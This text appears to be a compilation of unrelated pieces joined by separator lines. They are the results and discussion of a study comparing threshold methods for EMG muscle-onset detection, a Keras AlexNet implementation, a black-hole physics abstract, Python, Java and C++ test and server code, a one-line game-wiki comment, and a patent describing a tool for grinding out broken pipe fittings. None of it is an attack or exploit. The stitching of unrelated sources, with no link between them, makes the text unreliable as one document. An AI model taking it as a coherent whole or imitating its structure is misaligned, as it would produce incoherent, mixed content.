Threshold values were defined between 1 and 3 times the SD of the EMG baseline, according to a training phase performed with each subject (see Table 1).
The DT method has to be performed on the EMG envelope due to the variation of the EMG amplitude over time (the second threshold).EMG envelopes were calculated using a Butterworth low-pass filter of second-order with a cut-off filter of 6 Hz [15].The time required to ascertain muscle activation onset with DT method was 2.50 ms, i.e., EMG envelopes needed to stay above the first threshold for at least 2.5 ms in order for muscle activation to be detected offline.
The windows used in AT had a duration of 1/N of the total recording, where N is the number of movement cycles performed by the subject.
To analyze the performance of each method, the number of false/positive EMG onset detection events, the detection time and the processing time of each method were compared.The analysis of false positives/negatives was visually performed offline: any event labeled as the onset of EMG activation by a given method was considered as a false positive when an expert did not perceived it as a true onset of muscle activation; on the other hand, false negatives were those events labeled by an expert (offline, when assessing data visually) as an onset of muscle activation, but these were not detected by a given method.Furthermore, the difference between the onset timing calculated by each threshold-based method and the visual inspection (which was used as reference) was calculated for each cycle, task and subject.The mean difference was calculated for each method and subject.For this step, the first and last cycle of movement in both knee and ankle task performance were not considered, to exclude possible transients in the signal.Processing times required by each method were also calculated.
Results
The mean processing times needed by the computer (2,7 GHz Intel Core i7 processor) to compute the three threshold-based methods (ST, DT and AT), for each cycle of movement, are shown in Table 2.
DT method required more processing time (almost 10 times more) than the other two methods.The lengthy process required by DT to calculate EMG oset is due to the use of a pre-processing method (EMG envelope).
ST and DT methods obtained one false positive in a total of 124 cycles, which corresponds to 0.8% of detection error.AT obtained 9 false positives, which corresponds to a 7.3% of error detection.Table 3 represents the performance of the different thresholdbased algorithms.This was done by assessing the mean time differences that each automatic method needed to detect muscle activation onset from both sEMG and iEMG signals, compared to the visual inspection.
Considering the global performance of each threshold-based method, higher time precision was achieved using AT, which detected the onset of muscle activation, on average, 0.30 s after the visual inspection.ST and DT detected activation onset, on average, 0.33 s and 0.43 s after the visual inspection, respectively.Figure 4 shows an example of the detection timing for each of the three threshold-based methods assessed, which were applied on iEMG data from TA during one cycle of ankle dorsiflexion-plantarflexion task.Although the iEMG presented in Fig. 4 is very selective and presents clear individual action potentials, the iEMG signal was not always detected at the level of individual motor units, making a signal decomposition into individual motor unit action potentials not a viable option.
Table 4 presents differences in terms of detection times when applying each of the threshold-based methods on sEMG and iEMG recordings.Muscle activation onset was detected before in iEMG signals for all subjects, using the three threshold-based methods, with the exception of DT in subject 02.On average, ST, DT and AT methods detected muscle activation 0.17, 0.02 and 0.16 s before in iEMG than in sEMG recordings, respectively.
Table 1 Values of EMG onset threshold used for ankle and knee tasks, for the three methods (ST, DT, AT) The threshold values were based on the standard deviation (SD) of the baseline activity presented by each subject, for the two different tasks.S01 -Subject 1. S02 -Subject 2. S03 -Subject 3
Discussion
EMG has been increasingly applied in the research field as part of intuitive and natural control in human-robot interaction and rehabilitation systems for restoration of human movement and control of external devices from recordings of neural activity.One key component of these systems is the detection of movement intention (i.e., the onset of muscle activity).Given the lack of agreement on a standardized method for EMG onset detection and its importance towards intuitive and natural EMGbased control systems, it is timely to explore methods for automatic EMG onset detection.The first goal of our study was to review the state-of-the-art on EMG onset detection algorithms.A total of 156 papers published until March 2022 were included in the review.The papers were analyzed in terms of application domain, pre-processing method and EMG onset detection method.
Regarding the application domain, EMG onset detection has been applied in the 'Research' field more than in all the other domains together (i.e., Robotics, Clinical and others).This highlights the need of a standardized method for EMG onset detection, which may boost the translation from bench to bedside so that the onset of muscle activity could be used in more Clinical and Robotics applications, for example.
A total of 40% of all papers used a pre-processing technique before applying an onset detection method.Fast computational pre-processing methods are important to improve the quality of the EMG signal towards the extraction of information related with movement intention.EMG envelope was the most frequently applied pre-processing method across the reviewed papers.Although other authors have considered the EMG envelope and the TKEO as EMG onset detection methods [60], we have classified them as pre-processing methods, as previously done by others [53].
Threshold-based methods were found to be the most commonly used methods for EMG onset detection, for all application domains.Thresholding is a widely used method for detecting EMG onset due to its simplicity, speed and reliability.Recently, other studies have tested different methods (especially Machine Learning -ML -based) as an alternative to detect muscle activation onset, reporting promising results.One of the main advantages of ML-based methods is their ability to learn patterns from a dataset without the need for explicit feature extraction, which can otherwise be difficult and time-consuming.This can lead to more robust and generalizable models that can be applied to a wider range of datasets.Additionally, ML algorithms can adapt to changes in the data over time, allowing for the development of more adaptive and personalized systems.There are, on the other hand, some limitations of ML-based methods.One potential concern is the risk of overfitting, where the algorithm may learn the specific characteristics of the training data notably that it prevents it to generalize well to new data.This can, however, be mitigated through the use of appropriate validation methods and careful selection of training data.Additionally, ML-based methods can be computationally expensive and may require significant amounts of data to train.In this sense, more research is required to address the full potential of ML towards real-time applications, namely to infer movement intention.
We consider that our study fills a gap in the literature by providing a comprehensive classification framework for EMG onset detection methods.This framework not only enables a better understanding of the existing methods but also offers a practical tool for researchers and practitioners to easily navigate the field and select appropriate techniques for their specific requirements.This can also boost the development of novel algorithms and finally create consensus towards a possible standardized method, which would also allow more reproducibility across studies.Previously, 19 papers reviewed onset detection methods [10,11,19,34,36,49,53,54,57,60,71,77,83,95,96,115,119,121,128], although none of them has performed an extensive classification and definition of the available methods.From these 19 papers, only 3 of them had the review of onset detection methods as their main goal [10,54,115].
The second goal of our study was to evaluate the performance of the most commonly used onset detection methods (single (ST), double (DT) and adaptive threshold (AT)) to determine muscle onset on experimental EMG data (sEMG and iEMG).This allowed us to evaluate the potential of these methods towards the real-time control of wearable robots (e.g., robotic exoskeletons).
ST was the fastest of the three threshold-based methods to calculate EMG onset both in iEMG and sEMG data.This result can be explained by the low computational processing complexity required by ST, as well as the unnecessary employment of pre-processing methods, i.e., it can be applied on raw EMG data.On the other hand, ST is less precise than the other two thresholdbased methods, as it uses a fixed threshold for the entire EMG signal.This can increase the number of false positives/negatives in terms of onset detection events.In that case, the use of TKEO as a pre-processing method can improve the accuracy of onset detection compared to ST alone [71].Taking into account the advantages and disadvantages of ST, we consider that ST suits simple tasks (such as EMG-based static rehabilitation) best, where a fast response of the system is more important than its precision, and false negatives/positives do not mean security problems to the user.
DT was the slowest of the three methods to calculate EMG onset.This is due to the need of calculating EMG envelope (in addition to the second threshold), which adds more processing time and, thus, can compromise its use in real-time applications, especially when a fast detection is required.DT is more precise that ST to calculate EMG onset, as it uses two different thresholds (amplitude andd time) to detect the onset of the muscle activation.Therefore, it can be a robust solution to process EMG recordings offline [19].
Considering the global performance of each thresholdbased method, higher time precision was achieved using AT, which detected the onset of muscle activation, on average, 0.30 s after the visual inspection.AT adapts the threshold of onset detection by segmenting the whole signal into small windows, allowing a more precise detection of muscle activation.AT can be a good option for real-time applications that need more precision and relatively fast processing times in terms of detection of muscle activation [153].
In summary, the choice of the most appropriate EMG onset detection method depends on the type of application and its requirements.A trade-off between processing speed, accuracy and time precision should be taken into account before defining which onset method best fits the application in question.
Muscle activation onset was detected before in iEMG signals for all subjects, using the three threshold-based methods, with the exception of DT in subject 02.Given that early detection of muscle contraction can be critical for real-time applications, iEMG signals should also be considered as an alternative to be used as input for human-machine interfaces [9], e.g., for the intuitive control of robotic exoskeletons, where timing is crucial for an efficient control strategy.Additionally, iEMG signals present higher SNR and less cross-talk, when compared with sEMG signals [174].
Conclusions
EMG can be used to infer movement intention and trigger exoskeletons and prostheses.However, determining the onset of muscle activation from EMG activity is not a trivial task.The first conclusion of this paper is that there is still no agreement on a standardized method for EMG onset detection (neither offline nor online), which hinders reproducibility across studies.Therefore, this study organized and classified the existing EMG onset detection methods in an attempt to bring additional interest to the field and create consensus towards a possible standardized method for EMG onset detection, which would also allow more reproducibility across studies.Despite the lack of standardized methods, the research interest has been growing along the years, with a soaring number of publications in the field.
A total of 156 papers published until March 2022 were analyzed in terms of application domain (Robotics, Clinical, Research and Others), pre-processing method and EMG onset detection method.Pre-processing methods are used to improve EMG quality towards the extraction of meaningful information, although this adds more computational time and might be a drawback towards real-time applications.EMG envelope, which represents the average activation of the EMG signal, was found to be the most used pre-processing method before applying algorithms aiming at detecting onset of muscle activity.
Threshold-based methods were found to be the most commonly used methods for EMG onset detection.On the other hand, Machine Learning (ML) methods have recently received increased attention as an alternative to detect muscle activation onset, reporting promising results.However, more research is required to address the full potential of ML towards real-time applications, namely to infer movement intention.
This study also evaluated the performance of the most commonly used onset detection detection methods (single (ST), double (DT) and adaptive threshold (AT)) to determine muscle onset on experimental EMG data.This allowed us to to evaluate the potential of these methods towards the real-time control of wearable robots.Results showed that DT required more processing time, which led to increased average onset timing detection compared to the other two methods, while ST and AT were faster in terms of EMG onset detection time, especially when applied on iEMG data.These are very important features towards movement intention identification.In that sense, this opens the window to further explore these methods in real-time applications such as the intuitive control of exoskeletons.In any case, the choice of the most appropriate EMG onset detection method depends on the type of application and its requirements.A trade-off between processing speed, accuracy and time precision should be taken into account before defining which onset method best fits the application in question.
One limitation of this study is its reduced sample size (n = 3 healthy subjects), which affects the likelihood of obtaining statistical differences and, thus, the generalizability of the results.However, data collected served the purpose of achieving the secondary goal of this study, allowing us to assess the advantages and limitation of each of the most used methods for EMG onset detection.
Fig. 1 Fig. 2
Fig. 1 Number of publications on EMG onset detection methods per year reviewed in this study (period: 1978-2022; total articles: 156)
Fig. 3
Fig. 3 Number of publications included in each of the different EMG onset detection categories (Visual inspection-black; Thresholdlight gray; Statistical-dashed grey; Machine Learning-bold gray squares; and Others-dashed bold gray) within each different application domain.Application domains considered were Robotics, Clinical, Research and Others
Fig. 4
Fig. 4 Individual example of EMG onset detection using four different methods (visual inspection (dashed line), ST (dotted line), DT (spaced dotted line) and AT (bold)) on iEMG recordings from Tibialis Anterior (TA) during ankle flexion-extension.Methods were applied offline.ST-Single Threshold.DT-Double Threshold.AT-Adaptive Threshold
Table 2
Mean ± SD processing time spent per cycle and its standard deviation, for each EMG onset detection method: ST, DT and AT
Table 3
Comparison of the mean ± SD detection times between ST, DT and AT methods with respect to visual inspection, in both sEMG and iEMG recordings All values are positive, which means that automatic detection was always done with a delay with respect to the visual inspection
Table 4
Comparison of the mean ± SD EMG onset detection times between iEMG and sEMG for ST, DT and AT methods Positive values indicate that muscle activation onset was detected earlier in iEMG signals than in sEMG signals (for the same muscle and task), while negative values indicate the opposite, i.e., muscle activation onset was detected earlier in sEMG signals than in iEMG signals (also for the same muscle and task)
|
# Tensorflow v2.3.1
"""
Programmed by the-robot <https://github.com/the-robot>
"""
from tensorflow.keras.layers import (
Conv2D,
Dense,
Dropout,
Flatten,
Input,
Lambda,
MaxPooling2D,
)
from tensorflow.keras import Model
import tensorflow as tf
import typing
tf.config.run_functions_eagerly(True)
@tf.function
def AlexNet(input_shape: typing.Tuple[int], classes: int = 1000) -> Model:
"""
Implementation of the AlexNet architecture.
Arguments:
input_shape -- shape of the images of the dataset
classes -- integer, number of classes
Returns:
model -- a Model() instance in Keras
Note:
when you read the paper, you will notice that the channels (filters) in the diagram is only
half of what I have written below. That is because in the diagram, they only showed model for
one GPU (I guess for simplicity). However, during the ILSVRC, they run the network across 2 NVIDIA GTA 580 3GB GPUs.
Also, in paper, they used Local Response Normalization. This can also be done in Keras with Lambda layer.
You can also use BatchNormalization layer instead.
"""
# convert input shape into tensor
X_input = Input(input_shape)
# NOTE: layer 1-5 is conv-layers
# layer 1
X = Conv2D(
filters = 96,
kernel_size = (11, 11),
strides = (4, 4),
activation = "relu",
padding = "same",
)(X_input)
X = MaxPooling2D(pool_size = (3, 3), strides = (2, 2))(X)
X = Lambda(tf.nn.local_response_normalization)(X)
# layer 2
X = Conv2D(
filters = 256,
kernel_size = (5, 5),
strides = (1, 1),
activation = "relu",
padding = "same",
)(X)
X = MaxPooling2D(pool_size = (3, 3), strides = (2, 2))(X)
X = Lambda(tf.nn.local_response_normalization)(X)
# layer 3
X = Conv2D(
filters = 384,
kernel_size = (3, 3),
strides = (1, 1),
activation = "relu",
padding = "same",
)(X)
# layer 4
X = Conv2D(
filters = 384,
kernel_size = (3, 3),
strides = (1, 1),
activation = "relu",
padding = "same",
)(X)
# layer 5
X = Conv2D(
filters = 256,
kernel_size = (3, 3),
strides = (1, 1),
activation = "relu",
padding = "same",
)(X)
X = MaxPooling2D(pool_size = (3, 3), strides = (2, 2))(X)
X = Lambda(tf.nn.local_response_normalization)(X)
# NOTE: layer 6-7 is fully-connected layers
# layer 6
X = Flatten()(X)
X = Dense(units = 4096, activation = 'relu')(X)
X = Dropout(0.5)(X)
# layer 7
X = Dense(units = 4096, activation = 'relu')(X)
X = Dropout(0.5)(X)
# layer 8 (classification layer)
# use sigmoid if binary classificaton and softmax if multiclass classification
X = Dense(units = classes, activation = "softmax")(X)
model = Model(inputs = X_input, outputs = X, name = "AlexNet")
return model
|
We consider the fundamental issues which dominate the question about the
existence or non-existence of black hole horizons and singularities from both
of the theoretical and observational points of view, and discuss some of the
ways that black hole singularities can be prevented from forming at a classical
level, i.e. without arguments of quantum gravity. In this way, we argue that
black holes could have a different nature with respect the common belief. In
fact, even remaining very compact astrophysics objects, they could be devoid of
horizons and singularities. Our analysis represents a key point within the
debate on the path to unification of theories. As recently some scientists
partially retrieved the old Einstein's opinion that quantum mechanics has to be
subjected to a more general deterministic theory, a way to find solutions to
the problem of black hole horizons and singularities at a semi-classical level,
i.e. without discussions of quantum gravity, becomes a fundamental framework.
|
import shutil
import pytest
from ramp_utils import read_config
from ramp_utils.testing import database_config_template
from ramp_utils.testing import ramp_config_template
from ramp_database.testing import create_test_db
from ramp_database.model import Model
from ramp_database.model import SubmissionFileType
from ramp_database.utils import check_password
from ramp_database.utils import hash_password
from ramp_database.utils import setup_db
from ramp_database.utils import session_scope
@pytest.fixture
def database():
database_config = read_config(database_config_template())
ramp_config = ramp_config_template()
try:
deployment_dir = create_test_db(database_config, ramp_config)
yield
finally:
shutil.rmtree(deployment_dir, ignore_errors=True)
db, _ = setup_db(database_config['sqlalchemy'])
Model.metadata.drop_all(db)
def test_setup_db(database):
database_config = read_config(
database_config_template(), filter_section='sqlalchemy'
)
db, Session = setup_db(database_config)
with db.connect() as conn:
session = Session(bind=conn)
file_type = session.query(SubmissionFileType).all()
assert len(file_type) > 0
def test_session_scope(database):
database_config = read_config(
database_config_template(), filter_section='sqlalchemy'
)
with session_scope(database_config) as session:
file_type = session.query(SubmissionFileType).all()
assert len(file_type) > 0
def test_check_password():
password = "hjst3789ep;ocikaqjw"
hashed_password = hash_password(password)
assert check_password(password, hashed_password)
assert not check_password("hjst3789ep;ocikaqji", hashed_password)
|
Board Thread:Suggestions/@comment-32905632-20171110114600/@comment-25786517-20171110132158
So all the mobs look like santa except for the normal zombie?
|
/*
* Created on Jul 15, 2008
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*
* Copyright @2008-2010 the original author or authors.
*/
package org.fest.swing.launcher;
import static org.fest.assertions.Assertions.assertThat;
import java.util.*;
import org.fest.swing.test.swing.TestApplet;
import org.junit.Test;
/**
* Tests for <code>{@link AppletLauncher#withParameters(Map)}</code>.
*
* @author Yvonne Wang
*/
public class AppletLauncher_withParametersAsMap_Test extends AppletLauncher_TestCase {
@Test(expected = NullPointerException.class)
public void should_throw_error_if_parameter_map_is_null() {
Map<String, String> parameters = null;
AppletLauncher.applet(TestApplet.createNew()).withParameters(parameters);
}
@Test
public void should_set_parameters_in_given_map() {
Map<String, String> parameters = new HashMap<String, String>();
parameters.put("bgcolor", "blue");
parameters.put("color", "red");
applet = TestApplet.createNew();
viewer = AppletLauncher.applet(applet).withParameters(parameters).start();
assertThatAppletWasLaunched();
assertThat(applet.getParameter("bgcolor")).isEqualTo("blue");
assertThat(applet.getParameter("color")).isEqualTo("red");
}
}
|
//in server.cpp
#include <string>
#include <iostream>
#include "server.h"
void Server::setPDefault(string name)
{
PDefault=name;
}
void Server::setCDefault(string name)
{
CDefault=name;
}
int Server::Psearchindex(string pname3)
{
int i;
for(i=0;i<database2.size();i++)
{
if(database2[i].getprintername()==pname3)
return i;
}
return 0;
}
string Server::FileSearch(string fname3)
{
int j;
File * temp;
for(int i = 0; i < database1.size(); ++i)
{
for(j=0;j<database1[i].getfilesize();j++)
{
temp=database1[i].getfile(j);
if(fname3.compare(temp->getfilename())==0)
{
return temp->printfile();
}
}
}
return "";
}
Printer Server::PrinterSearch(string pname3)
{
int i;
for(i=0;i<database2.size();i++)
{
if(database2[i].getprintername()==pname3)
return database2[i];
}
return database2[0];
}
int Server::comparison(string a)
{
if(a=="BW")
return 1;
else if (a=="COLOUR")
return 2;
return 0;
}
int Server::Pcheck(string a)
{
int i;
for(i = 0; i < database2.size(); ++i)
{
if(a.compare(database2[i].getprintername())==0)
return 1;
}
return 0;
}
Server::Server()
{
CDefault="BW";
}
int Server::FolderSearch(string Fname)
{
for (int i = 0; i < database1.size(); ++i)
{
if(Fname.compare(database1[i].name)==0)
return i;
}
return 0;
}
void Server::reqadd(string file,string colour,string print)
{
if(colour=="")
colour=CDefault;
if(print=="")
print=PDefault;
if(Pcheck(colour)!=1)
{
Printer D = PrinterSearch(print);
if(comparison(D.getprintercolor())<comparison(colour))
return;
else
{
req.push_back(Stacks(print,file,colour));
}
}
else
{
print=colour;
colour=CDefault;
Printer D = PrinterSearch(print);
if(comparison(D.getprintercolor())<comparison(colour))
return;
else
{
req.push_back(Stacks(print,file,colour));
}
}
}
void Server::printstacks()
{
int k;
Printer * print;
for(k=0;k<req.size();k++)
{
print=&(database2[Psearchindex(req[k].printername2)]);
if(time(0)>(print->gett()))
{
if(FileSearch(req[k].filename2)!="")
{
print->addt();
cout<<FileSearch(req[k].filename2)<<" printed by the printer "<<print->getprintername()<<endl;
}
else
cout<<"File cannot be handled by the printer!!!!! "<<print->getprintername()<<endl;
req.erase(req.begin()+k);
k--;
}
}
}
void Server::addfile(string Fname,File * f)
{
database1[FolderSearch(Fname)].addfile1(f);
}
void Server::addfolder(string Fname)
{
Folder temp;
temp.name=Fname;
database1.push_back(temp);
}
void Server::addprinter(string pname4,string ptype4,string pcolor4)
{
Printer temp;
temp.assignprintername(pname4);
temp.assignprintertype(ptype4);
temp.assignprintercolor(pcolor4);
database2.push_back(temp);
}
int Server::getStacksize()
{
return req.size();
}
|
Tool for removing broken fittings
ABSTRACT
A tool for removing a tubular member having a threaded exterior, such as a pipe fitting, from a threaded bore. The tool includes a pilot section for guiding the tool into an interior of the tubular member, a shank section adapted for connection to a drill chuck, and a central body for engaging the tubular member. The central body has a cross section transverse the longitudinal axis that is generally circular and that tapers in diameter from the shank section toward the pilot section along an entire length of the central body. At least one flute extends along a helical path on an exterior surface of the central body. The pilot section guides the central body into the interior of the tubular member to grind away the tubular member without damaging the threaded bore.
BACKGROUND OF THE INVENTION
This invention relates generally to drilling tools, and in particular to a tool for removing a broken portion of a tubular pipe fitting from a threaded bore.
Threaded junctions for attaching sections of tubular conduit to other components of a fluid system or machine are periodically subject to break. An example is a tubular fitting used for attaching a pipe that extends between an automotive engine intake manifold and a heater. That type of fitting has an end portion that is externally threaded for interfacing with an internally threaded opening in the manifold, thereby providing reliable attachment that may be rapidly connected and disconnected. Unfortunately, the fitting is prone to crack when subject to high torque or force, especially if the fitting has received many cyclic loadings. Typically when a fitting breaks, the externally threaded end portion separates from the remainder of the fitting and remains lodged within the opening of the manifold.
The broken portion of the fitting must be removed from the opening and a new fitting installed before the engine can be returned to normal operation. Unfortunately, the fitting and manifold are frequently positioned at a location having tight space constraints, making accessibility very difficult. To gain better access to the manifold, it can be necessary to disassemble parts of the engine or to remove the entire manifold. These steps take a substantial amount of time, and in view of the increased costs of automotive repair, are expensive. Further, there is no location on the broken fitting where a tool can readily engage the fitting to apply a torque that is strong enough to rotating ly remove it, especially so when the fitting is corroded within the manifold. A person can find it necessary to use a chisel or hacksaw to remove the broken fitting. These tools easily cause damage to the manifold.
Another alternative to remove the broken portion of the fitting is to grind it out using a conventional grinding tool with a powered drill. However, grinding increases the likelihood that the bore of the manifold will be damaged. Further, many tools of this type are too long, especially when the tool is combined with a drill, to permit alignment of the tool with the fitting for insertion unless the manifold is removed from the engine. If the grinding tool is not properly aligned, it may damage the structure of the manifold.
SUMMARY OF THE INVENTION
Among the several objects and features of the present invention may be noted the provision of a tool and process to remove a tubular member from a threaded bore; the provision of such a tool that operates in tight or confined space constraints; the provision of such a tool that permits removal of the tubular member without damaging the bore; the provision of such a method that removes a tubular member in a short period of time; the provision of such a tool that is economical; and the provision of such a tool that is easy to use.
A tool of the present invention removes a tubular member having a threaded exterior, such as a pipe fitting, from a threaded bore. The tool comprises a pilot section located at a front end of the tool for guiding the tool into an interior of the tubular member, the pilot having a cylindric shape along a longitudinal axis. A shank section is located at a back end of the tool and adapted for connection to a drill chuck, the shank section being aligned along the longitudinal axis. A central body engages the tubular member, the central body being located between the pilot section and the shank section, aligned along the longitudinal axis, and having a cross section transverse the longitudinal axis that is generally circular and that tapers in diameter from the shank section toward the pilot section along an entire length of the central body. At least one flute extends along a helical path on an exterior surface of the central body, the flute defining a cutting surface on the central body for cutting into the tubular member. The pilot section is adapted to guide the central body into the interior of the tubular member without the pilot section cutting into the tubular member, and the central body as disposed in the tubular member may grind away the tubular member without damaging the threaded bore.
In another aspect, a method of the present invention removes a tubular member having a threaded exterior, such as a pipe fitting, from a threaded bore. The method uses a tool having a longitudinal axis, a pilot section located at a front end of the tool, a shank section located at a back end of the tool, a central body located between the pilot section and the shank section and having a cross section transverse the longitudinal axis that is generally circular and that tapers from a narrowest diameter to a widest diameter along an entire length of the central body. The widest diameter is approximately equal to an inside diameter of the threaded bore. At least one flute extends along a helical path on the central body. The method comprises the steps of aligning the longitudinal axis of the tool with the tubular member and inserting the pilot section of the tool into an interior of the tubular member, thereby guiding the tool. An external surface of the central body is engaged against the interior of the tubular member. The tool is rotated at high speed whereby the flute grinds away the tubular member and does not grind away threads of the threaded bore for removing the tubular member without damaging the bore.
Other objects and features of the present invention will be in part apparent and in part pointed out hereinafter.
BRIEF DESCRIPTION OF THE DRAWINGS
FIG. 1 is an elevational view of a tool of the present invention;
FIG. 2 is an end view of the tool; and
FIG. 3 is a fragmentary sectional view of a threaded bore showing the tool removing a broken portion of a pipe fitting.
Corresponding reference characters indicate corresponding parts throughout the views of the drawings.
DETAILED DESCRIPTION OF THE PREFERRED EMBODIMENT
Referring now to the drawings and in particular to FIGS. 1 and 2, a tool for removing a tubular member having a threaded exterior, such as a pipe fitting, from a threaded bore is indicated generally at 10. The tool 10 is particularly adapted for removing portions of a broken fitting that are lodged within an intake manifold of an automotive engine. The present description will primarily relate to that application. However, the tool 10 may be used in a variety of applications to remove material from an inner surface of tubular or hollow cavity without departing from the scope of the present invention.
The tool 10 is a rod or bar that is suitable for connection to a powered drill for rotatable grinding or drilling. The tool has three distinct sections, including a pilot section 20 located at a front end 22 of the tool, a central body 24 located in a central portion of the tool, and a shank section 26 located at a back end 28 of the tool. Each of the sections 20, 24, and 26 is symmetrically aligned along a longitudinal axis 30 and has a cross section transverse the longitudinal axis that is generally circular.
Referring now to FIG. 3, the pilot section 20 is adapted for guiding the tool 10 into an interior of a tubular member 38 that is lodged within a threaded bore 40. The pilot section 20 has a generally cylindric shape and is sized to fit within the tubular member 38 when the pilot section and tubular member are aligned. A diameter 42 of the pilot section 20 is smaller than an inside diameter D1 of the tubular member 38 that is to be removed so that the pilot section may be inserted into an interior of the tubular member. However, the diameter 42 is large enough so that general alignment between the longitudinal axis 30 of the tool and the tubular member 38 is required to insert the tool. The diameter 42 is preferably between 50% and 99% of the inside diameter D1 of the tubular member 38, and more preferably about 70% of the inside diameter.
Like the diameter, a length 44 of the pilot section 20 is selected to be sufficient to require that the tool 10 be generally aligned with the tubular member 38 for insertion to a significant depth, but not excessively long so that the tool would be difficult to insert. Preferably, the length 44 is about 60% of the inside diameter D1. The pilot section 20 has a smoothly chamfered or beveled front edge 46, at an angle of about 45°, to facilitate easier insertion of the tool into the tubular member without causing damage. The chamfered edge 46 also avoids a sharp edge safety hazard for operators who handle the tool 10. Tools with pilot sections of other sizes, without chamfered edges, or with other angles of chamfer do not depart from the scope of this invention. An annular groove 48 is positioned between the pilot section 20 and the central body 24.
The central body 24 is adapted for engaging the tubular member 38. The central body 24 has a shape of a frustum of a right circular cone, with generally circular cross sections transverse to the longitudinal axis 30 that taper in diameter along an entire length of the central body. The central body 24 extends from a narrowest diameter 50 located at a front end of the central body to a widest diameter 52 located at a back end of the central body. The taper in cross sectional diameter along the central body 24 between the narrowest diameter 50 and the widest diameter 52 is preferably constant so that a slope is linear.
The size of the central body 24 is selected generally to correspond to sizes of the tubular member 38 and the threaded bore 40. The widest diameter 52 is at least as large as the inside diameter D1 of the tubular member (FIG. 3). Preferably, the widest diameter 52 is less than or equal to an inside diameter D2 of the threaded bore 40 so that the tool grinds the tubular member 38 but does not significantly contact or damage the threaded bore. An angle of taper and narrowest diameter 50 are selected so that the central body 24 is adapted to engage a corresponding range of sizes in tubular members.
If the widest diameter 52 of the central body is greater than the inside diameter D2 of the threaded bore, damage is avoided by inserting the tool 10 into the tubular member 38 to only a partial extent. In this case, the tubular member 38 is engaged by the central body 24 at an intermediate location along the sloped surface, less than the widest diameter. The tool 10 never contacts the threaded bore while accomplishing the desired removal of the tubular member. If damage should inadvertently occur to the threads of the bore 40, the threads can be restored by subsequent use of a tap.
Two flutes 60 extend along respective helical path segments on an exterior surface of the central body 24 for grinding. Each flute 60 has a sharp edge defining a cutting surface to facilitate abrasive grinding. Sharpness of the edge of each flute 60 is increased by a back-cut region 62. The back-cut 62 is formed in the exterior surface of the central body 24 extending in a helical path adjacent the flute 60, tapering the edge of each flute 60 to slightly increase its sharpness. The flute 60 extends along the entire length of the central body 24 and extends continuously along an entire length of the pilot section 20. However the portion of the flute on the pilot section is included solely for economical manufacture of the tool. The pilot section 20 does not engage the tubular member 38 nor accomplish any grinding. Accordingly, the back-cut 62 does not extend onto the pilot section 20. It is understood that a tool with a pilot section having a smooth external surface (no flute) or having a back-cut does not depart from the scope of this invention. The flutes 60 may have any suitable pitch and are cut in a left-hand direction so that counter-clockwise rotation of the tool 10 accomplishes effective grinding. Typically, the threads of the tubular member 38 and bore 40 are arranged so that counter-clockwise rotation removes the tubular member from the bore. Therefore, the counter-clockwise rotation of the tool 10 during grinding permits the tool to simultaneously apply a torque to the tubular member 38 which urges rotation relative to the bore 40. If the tubular member 38 does begin rotating, that may permit removal of the tubular member from the bore 40 without further grinding. It is to be understood that a tool having a flute cut in a right-hand direction, a single flute, or more than two flutes does not depart from the scope of this invention.
The shank section 26 is configured for connection to a source of rotational motive force, such as a conventional electric drill (not shown). Preferably, the shank section 26 is cylindrical in shape and sized for engagement by a key-type chuck of the drill. The back end 28 of the shank 26 is chamfered or beveled to improve safety. Tools having a shank of different shape or having a different provision for connection to a drill do not depart from the scope of this invention.
The tool 10 is preferably formed of one piece of material that is solid, i.e., having no hollow cavities or fasteners, for good strength and economical manufacture. The tool is made of a material that is suitable for grinding through conventional pipe fittings, such as a steel. However, tools formed with two or more pieces that are attached together, having internal cavities, or formed of different materials do not depart from the scope of this invention.
The tool has a total length L that is fairly small so that the tool may be aligned and inserted into a threaded member that is located in an area of tight space constraints, such as a vehicle's engine cavity. Preferably, the total length L is less than about three inches, and more preferably about 2.3 inches, and a length of the central body 24 is about 1 inch. This size is preferred for use in a standard automobile engine. Tools of other sizes do not depart from the scope of this invention.
In operation, the tool 10 is used to remove the tubular member 38 from the threaded bore 40. A size of tool is selected relative to the size of the threaded bore. Preferably, the widest diameter 52 of the central body 24 is less than or equal to an inside diameter D2 of the bore 40. The tool 10 is attached to a power drill or system for high-speed rotation. The drill may be of a type that facilitates operation in tight space constraints, such as a conventional right-angle drill. A flexible extender (not shown) may be used with the drill to facilitate access to hard-to-reach locations. A conventional key-type chuck (not shown) may be used to tightly grip the shank section 26 of the tool. The tool 10 is positioned so that its longitudinal axis 30 generally aligns with the tubular member 38. If the tubular member is located where space is tight, it may be difficult to maneuver the tool and drill so that the tool is at an aligned position with the tubular member, and the advantage of the relatively small length L of the tool is apparent.
The pilot section 20 of the tool is inserted into an interior of the tubular member 38 in a lengthwise direction, thereby guiding the tool into an axially aligned position within the interior. The central body 24 of the tool engages the interior of the tubular member 38. Depending on the relative sizes, the central body 24 may engage the tubular member 38 anywhere along the central body between the narrowest diameter 50 and the widest diameter 52. The tool 10 is rotated at high speed, preferably by operation of the power drill, whereby the flute 60 grinds away the tubular member 38. Because it is aligned, the tool grinds evenly from the complete circumference of the tubular member 38. As grinding progresses, the tool 10 may be gradually inserted further into the tubular member 38, as with conventional drilling. As it grinds, the tool applies a torque to the tubular member 38. Due to the counter-clockwise direction of rotation, the torque urges rotation of the tubular member 38 relative to the bore 40. If the tubular member 38 does begin rotating, it may permit removal of the tubular member in one piece from the bore without further grinding. If not, grinding continues until all of the tubular member 38 is removed. The tool can be inserted entirely through the threaded bore, or an operator may limit insertion to a point where the widest diameter 52 of the central body is flush with an entrance 72 of the opening of the bore.
Significantly, the tool 10 may remove the tubular member 38 without damaging the threaded bore 40 of an intake manifold. If the widest diameter 52 of the central body 24 is less than or equal to the inside diameter D2 of the threaded bore 40, the tool will pass through the bore without contacting the threads of the bore. In practice, the tool 10 occasionally does not need to be inserted that far into the bore 40 because initial grinding by intermediate areas on the surface of the central body 24 causes the entire tubular member to start rotation, permitting its rapid removal without further grinding. If damage to the threads of the bore 40 does inadvertently occur, a tap may be used to restore the threads after the tubular member and tool are removed.
Thus, the tool permits removal of an externally threaded fitting from an internally threaded intake manifold without disassembly of the engine or components thereof. Although the description has been with regard to removing fittings from bores with straight or constant width threads, the tool may be also be used with bores or pipe threads that are tapered in width over a longitudinal extent.
